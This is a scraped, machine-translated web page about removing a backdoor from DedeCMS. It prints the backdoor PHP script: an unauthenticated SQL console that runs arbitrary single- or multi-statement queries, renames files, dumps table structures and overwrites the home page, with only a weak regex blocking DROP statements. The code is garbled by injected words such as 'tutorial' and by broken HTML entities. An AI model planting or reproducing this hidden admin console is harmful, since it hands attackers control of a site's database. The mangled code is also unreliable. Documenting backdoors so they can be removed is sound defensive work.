Dede Collection Master official left-door removal method

Source: Internet
Author: User
Tags foreach mysql tutorial php tutorial table name trim

<?php Tutorial
Require_once (DirName (__file__). " /.. /include/common.inc.php ");
if (Emptyempty ($dopost))
{
$dopost = "";
}
if ($dopost = = "Rename")
{
if (rename (' dedesql.query.php ', ' arc.sqlquery.class.php ')) {
echo "Success!" ";
}else{
echo "Failed!" ";
}
Exit ();
}
if ($dopost = = "ViewInfo")
{
if (Emptyempty ($tablename))
{
Echo did not specify the table name! ";
}
Else
{
$dsql->setquery ("Show create TABLE". $dsql->dbname. ".) $tablename);
$dsql->execute (' Me ');
$row 2 = $dsql->getarray (' Me ', MySQL tutorial _both);
$ctinfo = $row 2[1];
echo "<xmp>". Trim ($ctinfo). " </xmp> ";
}
Exit ();
}
if ($dopost = = "Index")
{
Require_once (dedeinc. ') /arc.partview.class.php ');
$envs = $_sys_globals = Array ();
$envs [' aid '] = 0;
$PV = new Partview ();
$row = $PV->dsql->getone (' select * from ' #@__homepageset ');
$templet = Str_replace ("{style}", $cfg _df_style, $row [' Templet ']);
$homefile = DirName (__file__). ' /'. $row [' position '];
$homefile = Str_replace ("//", "/", Str_replace ("", "/", $homefile));
$fp = fopen ($homefile, ' w ') or Die ("Cannot update the site home page to: $homefile location");
Fclose ($FP);
$TPL = $cfg _basedir. $cfg _templets_dir. '/'. $templet;
$PV->settemplet ($TPL);
$PV->savetohtml ($homefile);
$PV->close ();
echo "Successfully updated home page!" ";
Exit ();
}
else if ($dopost = = "Query")
{
$sqlquery = Trim (strips tutorial lashes ($sqlquery));
if (Eregi ("drop (. *) Table", $sqlquery) | | Eregi ("Drop (. *) database", $sqlquery))
{
The echo "<span style= ' font-size:10pt ' > delete ' datasheet ' or ' database Tutorial ' statements are not allowed to be executed here. </span> ";
Exit ();
}
if (eregi ("^select", $sqlquery))
{
$dsql->setquery ($sqlquery);
$dsql->execute ();
if ($dsql->gettotalrow () <=0)
{
echo "Run sql:{$sqlquery}, no return record!" ";
}
Else
{
echo "Runs sql:{$sqlquery}, common". $dsql->gettotalrow (). Record, maximum return 100! ";
}
$j = 0;
while ($row = $dsql->getarray ())
{
$j + +;
if ($j >100)
{
Break
}
echo "echo "Record: $j";
echo "foreach ($row as $k => $v)
{
echo "<font color= ' red ' >{$k}:</font>{$v}<br/>rn";
}
}
Exit ();
}
if ($querytype ==2)
{
$sqlquery = Str_replace ("R", "", $sqlquery);
$sqls = Split ("; [ T]{0,}n ", $sqlquery);
$nerrcode = ""; $i = 0;
foreach ($sqls as $q)
{
$q = Trim ($q);
if ($q = = "")
{
Continue
}
$dsql->executenonequery ($q);
$errcode = Trim ($dsql->geterror ());
if ($errcode = = "")
{
$i + +;
}
Else
{
$nerrcode. = "Execution: <font color= ' Blue ' > $q </font> error, error hint: <font color= ' red ' > '. $errcode." </font><br> ";
}
}
echo "successfully executed {$i} SQL statement!" <br><br> ";
Echo $nerrcode;
}
Else
{
$dsql->executenonequery ($sqlquery);
$nerrcode = Trim ($dsql->geterror ());
echo "Successfully executed 1 SQL statements!" <br><br> ";
Echo $nerrcode;
}
Exit ();
}
if ($dopost = = "View")
{
; Echo ' <meta http-equiv= ' content-type ' content= ' text/html; charset=gb2312 ' >
<title>sql Command line tools </title>
<link href= ' img/base.css course ' rel= ' stylesheet ' type= ' text/css ' >
<body background= ' img/allbg.gif ' leftmargin= ' 8 ' topmargin= ' 8 ' >
<table width= "98%" border= "0" align= "center" cellpadding= "3" cellspacing= "1" bgcolor= "#d1ddaa" >
<tr>
&LT;TD height= "background=" Img/tbg.gif ">
<table width= "96%" border= "0" cellspacing= "1" cellpadding= "1" >
<tr>
&LT;TD width= "24%" ><strong>sql command run:</strong></td>
&LT;TD width= "76%" align= "right" > <b><a href= "sys_data.php" ><u> data backup </u></a></b >
| <b><a href= "sys_data_revert.php" ><strong><u> data restore </u></strong></a>< /b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
&LT;TD height= bgcolor= "#ffffff" valign= "Top" >
<table width= "100%" border= "0" cellspacing= "4" cellpadding= "2" >
<form action= "" method= "Post" name= "Infoform" target= "Stafrm" >
<input type= ' hidden ' name= ' dopost ' value= ' ViewInfo '
<tr bgcolor= "#f3fbec" >
&LT;TD width= "15%" height= "align=" The Table information of "Center" > System:</td>
<td>
<table width= "100%" border= "0" cellspacing= "0" cellpadding= "0" >
<tr>
&LT;TD width= "35%" >
<select name= "tablename" id= "tablename" style= "width:100%" size= "6" >
';
$dsql->setquery ("Show Tables");
$dsql->execute (' t ');
while ($row = $dsql->getarray (' t ', Mysql_both))
{
$dsql->setquery ("SELECT count (*) from". $row [0]);
$dsql->execute (' n ');
$row 2 = $dsql->getarray (' n ', mysql_both);
$DD = $row 2[0];
echo "<option value= '". $row [0]. "' > ". $row [0]." (". $dd.") </option>rn ";
}
; Echo ' </select>
</td>
&LT;TD width= "2%" > </td>
&LT;TD width= "63%" valign= "Bottom" >
<div style= "float:left;margin-right:20px;" >
<input type= "Submit" Name= "Submit1" value= "Optimize selected table" class= "COOLBG np" onclick= "this.form.dopost.value= ' opimize ';" >
<br/>
<input type= "Submit" Name= "Submit2" value= "fix selected table" class= "COOLBG np" onclick= "this.form.dopost.value= ' repair ';" Style= "MARGIN-TOP:6PX;"/>
<br/>
<input type= "Submit" Name= "Submit3" value= "view table Structure" class= "COOLBG np" onclick= "this.form.dopost.value= ' ViewInfo ';" Style= "MARGIN-TOP:6PX;"/>
</div>
<div style= "Float:left" >
<input type= "Submit" Name= "Submit5" value= "optimize All Tables" class= "COOLBG np" onclick= "this.form.dopost.value= ' Opimizeall ';" />
<br/>
<input type= "Submit" Name= "Submit6" value= "fix All Tables" class= "COOLBG np" onclick= "this.form.dopost.value= ' Repairall ';" Style= "MARGIN-TOP:6PX;"/>
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
&LT;TD height= align= "center" > Return information:</td>
<td>
<iframe name= "stafrm" frameborder= "0" id= "stafrm" width= "100%" height= "100%" ></iframe>
</td>
</tr>
</form>
<form action= "" method= "Post" Name= "Form1" target= "Stafrm" >
<input type= ' hidden ' name= ' dopost ' value= ' query ' >
<tr>
&LT;TD height= colspan= "2" bgcolor= "#f3fbec" ><strong> Run SQL command line:
<input name= "QueryType" type= "Radio" class= "NP" value= "0" >
Single line command (simple query support)
<input name= "QueryType" type= "Radio" class= "NP" value= "2" checked>
Multi-line command </strong></td>
</tr>
<tr>
&LT;TD height= "118" colspan= "2" >
<textarea name= "SQLQuery" cols= "rows=" id= "SQLQuery" style= "width:90%" ></textarea>
</td>
</tr>
<tr>
&LT;TD height= "align=" "Center" > </td>
<td>
<input name= "ImageField" type= "image" Src= "Img/button_ok.gif" width= "a" height= "" border= "0" class= ' NP '/>
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
';}
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.